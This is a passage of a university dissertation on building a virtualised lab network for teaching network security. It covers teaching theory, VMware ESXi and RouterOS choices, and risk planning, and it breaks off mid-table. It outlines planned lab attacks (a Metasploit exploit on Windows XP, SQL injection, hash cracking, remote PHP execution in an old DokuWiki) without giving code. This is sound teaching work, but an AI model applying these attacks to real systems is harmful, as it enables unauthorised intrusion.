University of Derby
School of Computing and Mathematics

A project completed as part of the requirements for the
BSc (Hons) Computer Forensics and Security

entitled
The Construction and Testing of a Virtual Infrastructure for the purpose of
a Network and Security Tutorial

by
Adrian Harris
100076642@unimail.derby.ac.uk

in the years 2009 - 2014
Abstract

This report presents a research on the best practices for delivering Network Security Tutorials and elaborates a set of tutorials that form part of the University of Derby Network and Security Programme. The first part of this research aims to understand why specific techniques and technologies have been chosen and how they will help in engaging students and maximising learning intake within a tutorial environment. Secondly, a virtual network has been designed and different tutorials have been implemented and documented.

Performing the tutorial will provide an environment for Network and Security students to engage real life scenarios and encourage them to test different attacks and security implementations. Finally, the environment is designed and well documented so that further services can be added and the network topology can be adapted as and when needed.
Acknowledgements

I understand that this project would not have been possible if it were not for the support from Brett Grice, Harry Sheppard and Luke Watson. They provided the knowledge and resources before and during the project’s creation and in doing so made it possible to build and test the tutorial environment correctly. I also would like to thank Asma Adnane for answering and providing valuable feedback and ideas about the network and security topic that I have undertaken. In addition I'd also like to give thanks to my family for being there during the troubles I encountered throughout the period of creating this Network Security tutorial project.
Contents

Abstract .............................................................................................................................................. 2

Acknowledgements ............................................................................................................................ 3

List of Figures ..................................................................................................................................... 8

List of Tables ...................................................................................................................................... 10

1. Introduction .................................................................................................................................... 11
   1.1. Project Rationale ..................................................................................................................... 11
   1.2. Project Aims and Objectives ................................................................................................ 11

2. Literature Review ............................................................................................................................ 12
   2.1. Introduction ............................................................................................................................ 12
   2.2. Teaching and Learning .......................................................................................................... 13
      2.2.1. Student Engagement ....................................................................................................... 14
      2.2.2. Learning abilities ........................................................................................................... 15
   2.3. Teaching Network Security ................................................................................................... 19
   2.4. What's involved in the Tutorial .............................................................................................. 20
   2.5. Virtualisation ......................................................................................................................... 24
   2.6. RouterOS .................................................................................................................................. 26

3. Methodology ................................................................................................................................... 29
   3.1. Choice of Virtualisation Technology ..................................................................................... 30
   3.2. Why RouterOS is the best choice .......................................................................................... 30
   3.3. Dependencies and Risk Assessment ...................................................................................... 30
      3.3.1. Hardware Faults ................................................................................................................ 30
      3.3.2. Time Allocation ................................................................................................................ 31
      3.3.3. Environmental Restrictions ............................................................................................. 31
      3.3.4. Borrowed Equipment ...................................................................................................... 32
   3.4. Recreating the Environment on the University's Network .................................................... 32
   3.5. Summary .................................................................................................................................. 33

4. Project Plan .................................................................................................................................... 34
4.1. Required Resources ................................................................. 35
  4.1.1. Total minimum resources required ................................... 36
  4.1.2. Total recommended resources ........................................ 36
  4.1.3. Operating System Costs .................................................. 37
  4.1.4. Software Costs ............................................................... 37
4.2. Equipment List ..................................................................... 38
4.3. Summary .............................................................................. 39
5. Network Design ....................................................................... 40
  5.2. Management Network Breakdown ...................................... 41
    5.2.1. Network Diagrams ......................................................... 41
  5.3. Tutorial Network Breakdown ............................................. 43
    5.3.1. Network Diagram ........................................................ 43
    5.3.2. Domain network .......................................................... 45
    5.3.3. Demilitarized Zone (DMZ) .......................................... 46
    5.3.4. Internet ................................................................. 46
    5.3.5. BT Infinity ............................................................... 46
    5.3.6. Networking Configuration .......................................... 47
  5.4. ESXi Configuration ............................................................ 48
    5.4.1. Requirements ............................................................. 50
    5.4.2. ESXi Networking ......................................................... 51
    5.4.3. Adding VLAN's .......................................................... 53
    5.4.4. Local Storage ............................................................ 55
    5.4.5. Install image Management ......................................... 55
    5.4.6. VMware Tools ......................................................... 55
  5.5. Installing RouterOS ............................................................. 56
  5.6. Windows Configuration ...................................................... 64
    5.6.2. Setting up Windows Server 2012 Standard Domain Controller .......................... 65
    5.6.3. Setting up Windows XP Professional .................................. 70
5.6.4. Setting up Windows 7 Professional .............................................. 73
5.7. Linux / Unix Configuration ............................................................. 77
  5.7.2. Setting up CentOS DNS Server .................................................. 78
  5.7.3. Setting up Ubuntu Client .......................................................... 83
  5.7.4. Setting up DVWA - Web Server ................................................ 86
  5.7.5. Setting up DokuWiki - Web Server ............................................ 93
  5.7.6. Setting up Kali Linux .............................................................. 99
5.8. Summary ..................................................................................... 101
6. Tutorial .......................................................................................... 102
  6.1. Virtual Machine Identification Table .............................................. 103
  6.2. Introduction ................................................................................ 104
  6.3. Reconnaissance .......................................................................... 107
  6.4. Performing the Network Attacks .................................................. 115
    6.4.1. Attack 1 - Windows XP Exploit ............................................. 115
    6.4.2. Attack 2 - SQL Injection (SQLI) ........................................... 121
    6.4.3. Attack 3 - Remote PHP Execution ....................................... 132
7. Conclusion ...................................................................................... 137
  7.1. Personal Reflection ...................................................................... 137
    7.1.1. Issues Encountered ............................................................ 137
  7.2. Future Work ................................................................................ 139
  7.3. Gantt Timeline ........................................................................... 141
8. Bibliography .................................................................................... 142
9. Appendix A - Service Configuration settings .................................... 144
  9.1. MikroTik Configuration ............................................................. 144
  9.2. DNS Configuration ..................................................................... 146
    9.2.1. Zone file Configuration ....................................................... 147
  9.3. DVWA Firewall Configuration .................................................... 150
  9.4. DokuWiki Firewall Configuration .............................................. 151
9.5. Windows ARP traffic simulation bash script .............................................. 152

10. Appendix B - Physical Resources ............................................................... 153

10.1. Physical Hardware ..................................................................................... 153

10.1.1. Dell Power Edge 2950 III .................................................................... 154

10.1.2. Dell Power Edge R200 .......................................................................... 157

10.1.3. APC 1500 UPS ..................................................................................... 159

10.1.4. Linksys SRW2024 Switch ..................................................................... 161

11. Appendix C - Index .................................................................................... 163

11.1. RouterOS Firewall Rules index ................................................................. 163

11.2. Key Words ............................................................................................... 164
List of Figures

Figure 1 - Showing The Learning Pyramid (Vaidotas Marozas, 2007) ..................................................13
Figure 2 - Showing the MikroTik RouterBoard 750G ........................................................................26
Figure 3 - Showing the Winbox user interface (MikroTik, 2011) .........................................................27
Figure 4 - Showing the Winbox MikroTik selection interface (MikroTik, 2011) .................................27
Figure 5 - Showing the MikroTik console interface ...........................................................................28
Figure 6 - Showing the Tutorial Environment Management Network .............................................41
Figure 7 - Showing the Physical Environment Network Diagram ...................................................42
Figure 8 - Showing the Tutorial Environment Logical Diagram .......................................................43
Figure 9 - Showing the tutorial environment network diagram ........................................................44
Figure 10 - Showing the ESXi virtual platform .................................................................................48
Figure 11 - Showing the ESXi HTTP/HTTPS Webpage ..................................................................49
Figure 12 - Showing the vSphere Client application ...........................................................................49
Figure 13 - Showing the VMware ESXi Hypervisor ..........................................................................50
Figure 14 - Showing the vNetwork Standard Switch Network (VMware, 2014) ..............................51
Figure 15 - Showing the ESXi Port Group and VLAN assignment .....................................................53
Figure 16 - Showing the ESXi Networking and VLAN Setup once it's been configured ..................54
Figure 17 - Showing the MikroTik main menu ...................................................................................59
Figure 18 - Showing the MikroTik ether interface list .......................................................................60
Figure 19 - Showing the RouterOS ESXi Settings Window ...............................................................60
Figure 20 - Showing the completed list of named interfaces on RouterOS ........................................61
Figure 21 - Showing the MikroTik IP address pre-configuration ......................................................62
Figure 22 - Showing the IP Address configuration result ..................................................................63
Figure 23 - Showing the IP Address configuration once all were added ..........................................63
Figure 24 - Showing the Microsoft Windows Server 2012 Standard desktop ................................65
Figure 25 - Showing the Active Directory Users and Computers setup menu ................................69
Figure 26 - Showing the Windows XP join domain confirmation window ........................................72
Figure 27 - Showing the Microsoft Windows 7 Professional desktop ..............................................73
Figure 28 - Showing the Ubuntu 12.04.03 desktop ...........................................................................83
Figure 29 - Showing the DVWA Pre-database setup webpage ............................................................88
Figure 30 - Showing the DVWA Login Page .......................................................................................90
Figure 31 - Showing the Dokuwiki webpage .......................................................................................93
Figure 32 - Showing the Kali 1.0.5 Linux ..........................................................................................99
Figure 33 - Showing the Kali Login Screen ......................................................................................104
Figure 34 - Showing the Kali Desktop ......................................................................................................................105
Figure 35 - Showing the Kali tools interface ................................................................................................................105
Figure 36 - Showing the Kali interface configuration file ..............................................................................................109
Figure 37 - Showing the Zenmap GUI ........................................................................................................................111
Figure 38 - Showing the Kali terminal interface .............................................................................................................116
Figure 39 - Showing the Metasploit console within the Kali terminal .............................................................................116
Figure 40 - Showing the exploit options .......................................................................................................................117
Figure 41 - Showing the DVWA welcome page ..............................................................................................................121
Figure 42 - Showing the DVWA security level change page ............................................................................................122
Figure 43 - Showing the database query outcome ........................................................................................................123
Figure 44 - Showing the DVWA SQL low security code .................................................................................................124
Figure 45 - Showing the DVWA SQL injection query 1 .................................................................................................125
Figure 46 - Showing the DVWA SQL injection query 2 .................................................................................................126
Figure 47 - Showing the DVWA SQL injection query 3 .................................................................................................127
Figure 48 - Showing the DVWA SQL injection query 4 .................................................................................................128
Figure 49 - Showing the DVWA SQL injection query 5 .................................................................................................129
Figure 50 - Showing the SQL injection query 6 .............................................................................................................130
Figure 51 - Showing the exploit.html code used for remote php execution attack .........................................................132
Figure 52 - Showing the Exploit html file used for remote php execution exploit ..........................................................133
Figure 53 - Showing the phpinfo page presented by exploit.html ..................................................................................134
Figure 54 - Showing the Gantt project timel ....................................................................................................................141
Figure 55 - Showing the ESXi version compatibility list for the PowerEdge 2950 III .....................................................154
Figure 56 - Showing the front of the PowerEdge 2950 III ...............................................................................................155
Figure 57 - Showing the back of the PowerEdge 2950 III ..............................................................................................156
Figure 58 - Showing the front of the PowerEdge R200 ...................................................................................................157
Figure 59 - Showing the back of the PowerEdge R200 ...................................................................................................158
Figure 60 - Showing the front picture of the APC UPS .................................................................................................159
Figure 61 - Showing the APC Runtime (Min) vs Load (Watt) trend .............................................................................160
Figure 62 - Showing the APC UPS Back Picture ............................................................................................................160
Figure 63 - Showing the SRW2024 Managed Switch ....................................................................................................161
Figure 64 - Showing the Hardware setup within Server Rack ..........................................................................................162
List of Tables

Table 1 - Showing the list of required operating systems ................................................. 35
Table 2 - Showing the costs of the operating systems required for the tutorial .............. 37
Table 3 - Showing the costs of the software required for the Tutor .................................. 37
Table 4 - Showing the Total Required Physical and Software Items for the Network setup .... 38
Table 5 - Showing the Network IP configuration for the tutorial environment ................. 47
Table 6 - Showing the power details of the APC UPS .......................................................... 159
1. Introduction

1.1. Project Rationale

The basis of Network Security is to provide a base line for Administrators that consists of provisions and policies which are used to prevent and monitor malicious intent and consequences affecting systems within a network environment. A tutorial will be designed and used as an effective means to provide real life scenarios that otherwise would not be witnessed during the educational progression of a student.

1.2. Project Aims and Objectives

The aims of this project are to construct a network designed to be a baseline for training purposes with respect to university level students. Furthermore creating a network consisting of more than one type of OS that can be used within a corporate environment and using them as part of my penetration testing scenarios.

Ultimately it will provide a future tutorial environment that will provide the ability to learn about network security looking at both areas one being hacking and the other taking a defensive stance which will play a major part within the future development of students to come.
2. Literature Review

Network security relates to activities and measures put in place to protect you and your network from external threats. In particular the serviceability, reliability, quality and safety of your network’s data. Having an effective network security principle stops a variety of threats from entering and or spreading throughout the network. This paper looks at the teaching methods towards network security and also provides a usable environment that will help enhance the knowledge of this for years to come.

The focus of section 1 will be the general practices of teaching and how it affects the engagement of students. The section will also discuss the organic nature of learning and how teaching must be adaptive enough to accommodate the multitude of different ways in which people learn.

In Section 2, this paper will explain the more difficult reasons for teaching Network Security along with what type of teaching methods are necessary for this field of topic.

Section 3 will be identifying the teaching method that will be used and why it is superior in teaching Network and Security students within the chosen teaching method.

2.1. Introduction

The world has progressed very rapidly, years ago there were very few pieces of so-called computing technology within the daily lives of people. Now it is difficult to think of anyone that doesn’t have at least one piece of such technology, such as a laptop or even a mobile phone and it has become apparent that we are becoming evermore dependent upon this technology in our everyday lives. During this evolutionary step in technology there was countless research and teaching, each generation bringing new ideas onto the next. It wasn't long before an exploit of this took place which dates back to the birth of Information Security awareness in the 1960s (Red Hat®, Inc, 2007) and has increased substantially with companies reporting that the average large business faces a significant attack from both external and insider threats once every few days (PWC, 2013).

In order to find out about “What makes a good learning tutorial / assignment for networking and security students” research will be made in order to find out the key areas within learning that makes it possible to provide students with new information, and at the same time making sure they able retain this for the future.
2.2. Teaching and Learning

Teaching can be described in many different ways, in particular a practice by which we transmit information from one person to another. It has been an objective and forever will be to further increase our knowledge in all of what we do in life. The way in which information is communicated to another person takes many forms as not everyone learns the same way.

The multitude of styles in which students learn demands a set of appropriate teaching styles in education therefore picking an effective method of teach is a key aspect within the chain of learning, not only just by applying a topic which they either enjoy or are motivated by but also the way it is taught. This is not just specifically related to networking and security, but also in all other areas of education.

Firstly there must be a clear identification of which out of the teaching methods are proven to be the most effective. In doing so a pyramid diagram shown in Figure 1 is designed to explain the percentages of information retention within education.

Figure 1 - Showing The Learning Pyramid (Vaidotas Marozas, 2007)
The layers of red shown in Figure 1 are known as passive teaching methods because students do not actively get involved within the learning experience; students' retention span is statistically lower than that of those engaging in active learning which are indicated by the colour green.

Research has identified that students take in more information when they are engaged and motivated with their own learning style. This next section will explain what engagement is within learning and also the 3 main types of engagement cover how they can be used to focus on a primary delivery method.

2.2.1. Student Engagement

Student engagement can be defined in many different ways, in particular (Krause, 2008) introduces the meaning as being the participation in educational effective practices, both within and outside of the classroom, which leads to a range of measurable outcomes. On the other hand, (Hu, 2001) defines engagement as being the distinct determination and devotion of students towards educational activities and in doing so contribute directly to desired outcomes. Both emphasise the link between education and also the ability to engage effectively when within an educational environment. A more in-depth look at engagement can identify specific patterns to particular students and in doing so help to provide a greater learning experience when teaching Network Security.

During the time spent within a learning environment it is key to note that there are three types of engagement that a student shows towards any topic, not just networking and security. (Bloom 1956) identified these as the following:

- Behavioural engagement - Showing commitment, dedication and involvement with a notable absence of disruptive or negative behaviour.
- Emotional engagement - the expression of interest, enjoyment or a sense of belonging to a given situation.
- Cognitive engagement - investing one's ability to learn, going beyond the prescribed curriculum and thriving on the arising challenges.

Identifying the engagement type of the student is crucial to any learning environment as it provides a framework that can be used to design a suitable teaching method. In doing so teachers can adapt to this by offering students different types of work that will
motivate them in many ways increasing the effectiveness of the teaching delivered. A particularly interesting area to take note of is the effectiveness of learning preferences that the individual has towards teaching. This can be shown by the research performed on students in finding out the overall information retention depending on the learning method.

2.2.2. Learning abilities

People learn in many different ways, and in doing so the standard tutorial or lecture may not suit the needs of everyone. The ability to find these key teaching techniques provides an increase in student engagement, as mentioned in section 2.2.1. These understandably revolve around much of our human senses, such as the eyes (visual), ears (auditory) and in other ways our ability to read, write and perform actions.

These types are defined as being -

- **Hands-on learning**

Also known as kinaesthetic learning, it provides a greater reference to what the person has performed during the learning period, thus they have a far greater chance of remembering what they have done previously.

- **Audiovisual learning**

Within this category there are three different types of audiovisual based learning, much of it performed every day of our lives. They can be identified as -

  - **Linguistic Learning**

Those who like to learn through the written language, such as reading and writing, they have a far greater chance of remembering what has been written down, and do not need to have performed the task before in order to remember. (University of Pennsylvania, 2009)

  - **Spatial Learning**

Those who learn holistically instead of a step-by-step process. They perform greater with visual tasks of those perhaps shown within a lecture such as charts, videos and pictures etc. (Silverman, 2010).
**- Auditory Learning**

This can often be seen at the front of lecture halls when people use small devices to record the audio of a lecture which can then reviewed at a later stage. They excel when listening to instructions rather than reading written information.

We need to now find out which learning abilities apply to which particular teaching method. Figure 1 can be broken down further into events that you would expect to find when in a university.
• Lecture
  - Reading Learning
    • Linguistic
  - Audiovisual Learning -
    • Auditory
    • Spatial

• Demonstration
  - Audiovisual Learning -
    • Auditory
    • Spatial

• Tutorial
  - Audiovisual Learning -
    • Auditory
    • Spatial
  - Reading Learning -
    • Linguistic
  - Practice by Doing -
    • Hands-on Learning

• Group Discussion
  - Audiovisual Learning -
    • Auditory
    • Spatial
Above is a list of what you would typically perform within a university environment, some other types of learning abilities may be found within each of these but for identifying the top teaching methods it will remain in these four areas.

Looking at the list of preferred teaching methods, the method with the greater of learning abilities that would cover a wider variety of students would be a tutorial. Statistically 'Practice by doing' shown in Figure 1 has a greater impact on information retention. It also plays a major part within a tutorial environment.

Now that we have a greater understanding of engagement and the multitude of learning techniques available to teach students, we can further condense the teaching field to Network Security.
2.3. Teaching Network Security

Much like computer science and also computer engineering, teaching network security requires a slightly different approach compared to the usual teaching methods. It must cover specific aspects like networking, operating systems, cryptography, access control and much more. There never will be a set routine in which attacks will be initiated and most of the time they are unpredictable, therefore it is essential to have an experienced and well-trained security expert that should not only be able to apply well known global rules and guidelines, but also perform such attacks in order to actively keep a network up-to-date, against both zero-day attacks and also general vulnerabilities.

In addition to the masses of literature available, no two networks are the same and hold a wide variety of challenges that a future security expert must overcome. Some universities today are seeking additional facilities and are actively trying to improve the industry by offering so called ‘Hackademic Challenges’. The term ‘Hackademic’ is an interesting way of encouraging minds to research further into its meaning. It effectively means "Hacking for academic purposes" and is used to teach more people how to understand the fight against malintent on networking rather than adding to the ever growing problem we face today.

2.3.1. Hacking and its Morals

A 'hacker' was originally the name given to an individual who showed a high-level of expertise in knowledge about various computer-based subjects. Unfortunately due to bad publicity it has since become used to describe an individual who utilizes their knowledge for criminal gain (Hafele, 2004). An example of this would be the widely-publicised incident in which Sony lost millions of worldwide users' data to what they referred to as 'hackers' (Poulter, 2011).

A major problem with having the ability to perform attacks is that there is a fine line between right and wrong. Inevitably during the network penetration and vulnerability tests the security expert will be in contact with customer data. Penetration testing is a necessary practice, and any person employed to carry it out must be trusted to have sound character and judgement, lest they succumb to temptation.

Teaching Network Security is increasing our knowledge and defences against a growing threat. Teaching these methods provides a framework that can be built upon showing students a professional’s view on computer security and the moral reasons behind it.
2.3.2. Correct learning choice

Network Security is an important area within computer science education and is constantly changing. Tutorials offer the ability to work with recent technologies, grant the ability to adapt and also encourage students to think on their feet. It can be changed to suit a wide variety of learning abilities and can be structured in a way to accommodate multiple skill levels. This will be most effective within the realm of academia.

- **Evaluation through Live Exercises**

Even though creating a network testing environment is an important academic tool, it will not provide a true representation and experience of the attack and defence process. Each tool used has been experimented with in an isolated manner. Therefore a tutorial on how to attack a service, along with a brief explanation of the attack within a corporate context will be provided.

Overall a tutorial environment is the best direction to follow with a Network Security course as it provides up-to-date learning technologies and a tried and tested learning intake rating which is most associated with 'Hands-on Learning'. It again can be justified by Figure 1, showing an individual's information retention rate of 75%, which is dramatically more than any other teaching method and can be proven within a corporate workplace.

2.4. What's involved in the Tutorial

In this section information about the attacks that can be used within the tutorial will be specified. Note that many attacks will be left out due to resource and time constraints.

2.4.1. Ethical Hacking

Ethical hacking will be one of two primary focuses within the tutorial due to its part in exploiting vulnerabilities, of which without there would not be any defence against illegal hacking. That defence is comprised of finding and fixing exploitation methods, in essence alerting developers and network administrators of vulnerabilities that would present a security risk.
Below are the attacks that will be used during the tutorial; they represent some but not all of the attacks that can be performed on a network. Later on an explanation of why these are best performed within a virtualised environment will be emphasised.
2.4.2. Attacks

In this section are the attacks that will be involved within the tutorial, they show three different ways a system can be exploited.

- **Metasploit**

Metasploit is perhaps best described as a framework that facilitates the exploitation of vulnerabilities on a live system over a network. It is an open source piece of software that is designed to help network security experts or general users test their network for vulnerabilities and in turn fix them. In essence Metasploit is designed to be a testing facility for corporate and personal networks; globally it helps developers of software create patches before any are exploited maliciously.

- **SQL Injection**

SQL Injection "is an attack in which malicious code is inserted into strings" (Microsoft, 2014b) that are later then passed to an instance of a database server for parsing and execution.

There are three types of SQL injection and these are -

- **Inband**

This is where data can be extracted using the same channel that is used to inject the SQL Code. It is the easiest kind of attack in which the relevant data is then displayed directly onto the applications output interface which is oftentimes a webpage.

- **Out-of-Band**

This is where data is gathered using a different channel, an example would be an email that is generated and sent to the testing participant.
Inferential

An Inferential SQL Injection is where there are no error messages displayed and no transfer of data, the idea being that the sought-after data is not directly observed but rather inferred, hence the name.

An example of this is known as "Blind SQL Injection" which is used as a last resort, due to it not providing any error messages that would help an attacker to gain information.

Many web applications are still vulnerable to this attack, it is solved with better sanitization of code when a user is allowed to submit information into database querying forms. This means that they cannot enter any more information than is specifically allowed, such as an ID number only.

- John the Ripper

This is an application used for cracking cryptographic hash values, and so can be used to crack passwords stored in the SQL database following on from the SQL Injection tutorial.

Longer more complicated passwords would provide a greater defence against this attack. As pointed out by (Smith, 2014) many people still use short predictable passwords for their secure data.

- Remote PHP Execution

The ability to run remote PHP code to execute tasks that would otherwise not be possible on a patched system. This will be a vulnerability found in a specific version of a piece of software called DokuWiki which, due to improper sanitisation of user input, allows arbitrary code to be executed on the server without the need for any authentication whatsoever. The implications of this are potentially huge.

Now that the attacks have been explained, reproducing these on a physical network environment is more difficult than it sounds. The problem is that many companies do not have the resources required to set up an accessible and at the same time isolated environment to perform network vulnerability testing. The answer to this is in Virtualisation.
2.5. **Virtualisation**

Virtual technology was believed to have come about within the late 1960s to the early 1970s, when IBM had invested many man-hours of work and exertion into the development of a rugged shared user environment (Oracle, 2012). In doing so the outcome was a technology that not only changed how computers work, but also how we use them.

Take for instance a small company with little resources to use, at the same time they also require more features and various other technologies to help them develop and grow. The answer to this would be virtualisation. Increasing the effectiveness of older and redundant hardware that is already owned by the company to more efficiently provide multiple services on their local network.

### 2.5.1. **Benefits of a Virtualised Environment**

The main problems a tutorial faces are that all systems exposed to the tutorial will require administrative privileges at the same time this gives inexperienced users the ability to destroy the machine they are working on. Because it is a virtual machine, it can be recreated in the event of this problem occurring.

- **Isolated and on a Single Powerful Host**

One of the main advantages of virtualisation technologies is the ability to contain the testing within a harm-free environment, as all machines contained can be re-made with little downtime.

- **Reduced hardware costs**

Another positive is the cost involved in reproducing what would otherwise involve physical devices. All systems are contained within a virtualised environment therefore reducing costs on hardware and also resources required to run said hardware. In essence this provides a green outlook on a security-related task for businesses.
2.5.2. Companies who specialise in this technology

Two distinct large competitors within the virtualisation market are VMware and Microsoft. They are briefly discussed here -

- **VMware**

VMware was initially founded in 1998 by Diane Greene, Dr. Mendel Rosenblum, Ed Bugnion, Dr. Edward Wang and Scott Devine (VMware, 2013a) they were the first to develop an x86 virtual, without which we would not have the facilities we see today providing the ability to virtualise many different types of operating systems.

VMware's main virtualisation product is called ESXi. It is the name given to VMware's primary application designed to provide a central platform that can accommodate a multitude of virtual machines ranging from Windows, Linux, Oracle, etc.

The letters 'ESX', although never referenced by VMware itself, have been purported to stand for Elastic Sky X. On its own this doesn't mean much, but since the addition of the 'i' suffix, it has a meaning set by VMware as being 'VMware VSphere Hypervisor'.

- **Microsoft**

Microsoft was founded in the 1970s by Paul Allen and Bill Gates, who had a vision that a personal computer was to play a major part in everyone's home (Microsoft, 2013 ). It has since grown from this into one of the largest and most successful companies in the world, doing exactly what they set out to do. According to (Netmarketshare, 2014) Microsoft's flagship products, Windows 7 and Windows XP, currently account for 49% and 28% respectively of the desktop operating system market. This completely dwarfs its main competitors - Apple's OS X and the entire Linux community - which have a combined value of less than 8% .

Microsoft introduced Hyper-V into Windows server 2008 and provides software infrastructure and basic management tools that can be used to create and manage a virtualised server computing environment (Microsoft, 2011)
2.6. RouterOS

RouterOS was designed by a Latvian company called MikroTik which itself was founded in 1995 to develop routers and wireless ISP Systems (MikroTik, 2013). It was not until 1997 that their extensive knowledge in the field of routing and various PC hardware brought about the creation of RouterOS, the software that provides such an extensive range of controls and flexibility to "all kinds of data interfaces and routing" (MikroTik, 2013).

MikroTik sell hardware and software as both standalone and combined products. In particular is a line of routing hardware called 'RouterBoard', an example of which can be seen in Figure 4.

![Figure 2 - Showing the MikroTik RouterBoard 750G](image)

A small yet versatile device that is capable of replicating many modern switches, routers, firewalls, web proxies and much more. It provides a great platform for training and can greatly advance a student's knowledge and understanding in networking and security.

The operating system contained within Figure 2 is called RouterOS and has been designed incredibly well. It provides several types of administrative interfaces in that it can be accessed using SSH, telnet, via the web or even their own software utility called ‘Winbox’.

26
Figure 3 shows the Winbox interface, it is one way that can be used to program the RouterBoard to do many things, but initially before you can turn on other methods you will have to access it this way only. In order to gain access to the hardware Winbox will search for the MAC address on the network, as shown in Figure 4.

Figure 4 - Showing the Winbox MikroTik selection interface (MikroTik, 2011)
Winbox will automatically detect the device and show the MAC address of the network interface belonging to RouterBoard plugged into the network. If you have more than one device, you will see a list similar to the one shown in Figure 4, and to identify the one you want, you will need the MAC address ranges provided on a sticker on the bottom of the RouterBoard itself.

The interface you can see in Figure 5 is what you will see when using an SSH client to connect to the RouterBoard which is by default on port 22.

The command line interface is also what will be shown when using the operating system within a virtualized environment, although having it separate from MikroTik's own hardware enables one to provision additional resources if required.

Together within a virtualized environment it is possible to supply many network adapters to suit your network.

Information and documentation can be found on the MikroTik Wiki, a site used by the company itself to provide details to the public on how to set the operating system up. It was found that using the command line is more efficient and just as easy if not better than the arguably confusing GUI presented by Winbox as shown in Figure 3.
3. Methodology

There are a variety of different research approaches and strategies such as surveys, research, simulations and implementations. With this in mind a decision has been made to create a new virtual environment whereby Network and Security students can test and improve their learning skills and abilities. Computer science programmes in general (and the network security programme specifically) require students to build their practical skills in order to achieve this goal and different methods of teaching are performed to accommodate this. With a specifically designed network, Students can therefore practice on real world scenarios. At the same time a consideration towards cost in terms of building and maintaining the network used for tutorials will be applied making it limited in terms of design (reducing maintenance costs). On the other hand, virtualisation is the best alternative, reducing what would be required in terms of hardware, making it possible to focus on networking and more importantly the security.

The tutorial design will be built on many aspects of teaching, in particular those mentioned previously in section 2.2 incorporating many parts that will both improve information retention and at the same time make it engaging and exciting for the student. In doing so a scenario will be made telling the story of a malicious attack on a network, placing students in the minds of ethical hackers (how the attack will be performed) and security specialists (how the attack could've been prevented and how overall the network can be secured from further risks).

Teaching Risks

Understanding the risks involved in teaching students about ethical hacking (as mentioned in section 2.3.1) are a big concern. Therefore attacks will be performed on outdated systems which are ones that have been patched for some time and in doing so are no longer affected by the attacks mentioned in section 6. Whether the student uses these abilities outside of the classroom is their own choice, emphasising that the use of these skills is illegal on systems that they are not authorized to attack.
3.1. Choice of Virtualisation Technology

Following on from section 2.5, the prime reason for choosing VMware ESXi over all other virtualisation technologies is one of familiarity. Using a different virtualisation technology such as Hyper-V, Proxmox or XenServer would necessitate far too many days being spent learning the underlying technology.

3.2. Why RouterOS is the best choice

RouterOS has many features to provide and while at first it is not very large in the field of other competitors such as Cisco, HP and Dell, it is considered a cheap and cost-effective alternative. When combined with a virtualisation platform such as those mentioned in section 3.1 it performs everything that is required to replicate a corporate network as part of this Network Security tutorial. RouterOS has been described as a "Swiss Army knife in any networking environment".

In this project RouterOS will be a central point between all subnets within the network environment. It will provide routing between all the networks with firewalls to replicate what would be found in a real corporate environment.

3.3. Dependencies and Risk Assessment

In this section the risks to and dependences of the tutorial environment will be identified. Once complete an effective plan will be made to reduce that risk and if possible prevent it happening altogether.

3.3.1. Hardware Faults

Inevitably all technology comes with its series of faults. Due to there being many pieces of equipment involved with setting the environment up, factors involving these main items will be taken into account.

- Servers
- Switches
- Power cables
- Cat 5e cables
Beyond the resources supplied to this project, some downtime will be planned due to other elements.

3.3.2. Time Allocation

The realisation of this project requires the cooperation of several persons. This human aspect has several implications, for example social and domestic affairs, ill health and/or work commitments. As such, time will be set aside to account for such extenuating circumstances.

3.3.3. Environmental Restrictions

Within this section the appropriate planning for uncontrollable conditions will be set out. This is an essential part of the preparation as without it, the progress of the dissertation could potentially be hindered.

- Weather

Troublesome weather conditions (such as the great winter freeze of 2013) may hamper on-site attendance reducing access to the virtualised environment for the initial set up of the physical hardware.

Access to the tutorial environment will also be set up for remote access, once the physical hardware is up and running. This must be completed before January to allow for travelling issues that might occur during the following months of poor weather conditions.

- Restricted Remote Access

Access to the virtual environment will be set up by the provider to allow remote management of the installation, however this access is via a connection that has limited network bandwidth. This restriction prevents the transfer of large amounts of data at a time, meaning it won't be viable to transfer large disc images such as ISO files. Therefore, all required files will have to be uploaded on-site before progress on the virtual environment can take place.

- Power Outages

The provider's resources include a UPS (see section 10.1.3) which will provide continuous power in the event of a site wide or even a city wide power outage.

The duration that the UPS will provide power for in the event of a power outage is a function of its load. The draw of the infrastructure (outlined in Appendix B) means that the UPS has an
estimated 10 minutes of power before its reserve is depleted. The main priority for the UPS is to stop small power starvations to the virtual hosts but a complete power failure on-site that lasts longer than 10 minutes will be unavoidable.

3.3.4. Borrowed Equipment

The project requires the resources of a powerful host machine in order to run many virtuals. For this reason a server has been loaned from a 3rd party, hereafter referred to as the hosting provider.

- Plan A - Company Resources

There is an obligation to obey all wishes of the hosting provider should the resources be required for any other purpose, other than for this tutorial. As such, a secondary plan will be made to account for this situation unfolding.

- Plan B - University Resources

In light of the above, the University of Derby has granted permission to use its resources as a failsafe for the purpose of this tutorial. This provides satisfactory mitigation of the aforementioned eventuality.

3.4. Recreating the Environment on the University's Network

Once the tutorial has been tested to work on the hosting provider's resources, a plan has been made to recreate the environment within the university's network so that students can test the tutorial for themselves.

Time will have to be scheduled into the plan in order to create the environment in time for the testing to take place. This will also include additional learning that is necessary to use the software provided. The software that is being provided is called OpenStack and is completely different to VMware's ESXi platform.

- OpenStack

This software is a free open source cloud computing platform for both public and private clouds. It controls large pools of computers, involving storage, network and other resources that are manageable through a single dashboard (OpenStack, 2014). Rather than controlling one particular host like ESXi, OpenStack manages many hosts and consolidates them using a single interface.
The recreation of the tutorial environment will commence in the final month of the dissertation providing that everything on the ESXi host is running and working correctly. Once the tutorials have been completed, the next phase of the build can take place on the OpenStack cloud network.

3.5. Summary

Many variables need to be considered in this section. Choosing the most appropriate virtualisation environment was not difficult; the selection was based purely on familiarity. Another consideration covers the dependencies and risks involved in creating the virtual environment. It allows all scenarios to be planned for that would otherwise cripple the dissertation.
4. Project Plan

This will be a tutorial designed for the purpose of finding and testing security risks within a business environment, therefore an environment with specific security vulnerabilities will be used as part of the ethical hacking tutorial as mentioned in section 2.4. This will then be used to educate the student about how the attacks take place and what is done to stop them from happening.
4.1. Required Resources

This section provides a breakdown of all the operating systems that will be used within the environment together with the associated hardware resources required.

<table>
<thead>
<tr>
<th>Operating System</th>
<th>What it will be used for</th>
<th>Minimum Resources Required</th>
</tr>
</thead>
<tbody>
<tr>
<td>VMware ESXi 5.5</td>
<td>Host the Virtual Machines</td>
<td>2GB RAM / 1 x 1GHz Processor</td>
</tr>
<tr>
<td>Windows Server 2012 Standard x64</td>
<td>Active Directory / Domain Services</td>
